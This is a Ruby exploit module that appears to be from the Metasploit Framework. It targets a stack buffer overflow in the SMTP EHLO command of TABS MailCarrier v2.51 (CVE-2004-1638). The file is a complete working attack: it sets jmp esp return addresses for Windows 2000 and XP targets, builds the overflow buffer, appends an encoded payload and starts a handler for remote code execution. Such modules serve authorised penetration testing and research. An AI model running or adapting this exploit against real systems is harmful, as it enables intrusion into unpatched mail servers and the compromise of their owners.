metasploit-framework/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb

79 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
'Description' => %q{
This module exploits the MailCarrier v2.51 suite SMTP service.
The stack is overwritten when sending an overly long EHLO command.
},
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1638' ],
[ 'OSVDB', '11174' ],
[ 'BID', '11535' ],
[ 'EDB', '598' ],
],
'Platform' => ['win'],
'Arch' => [ ARCH_X86 ],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
#'Space' => 300,
'BadChars' => "\x00\x0a\x0d:",
'StackAdjustment' => -3500,
},
'Targets' =>
[
# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1
[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
],
'DisclosureDate' => 'Oct 26 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
])
end
def check
connect
banner = sock.get_once || ''
disconnect
if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
sploit << [target['Ret']].pack('V') + payload.encoded
sock.put(sploit + "\r\n")
handler
disconnect
end
end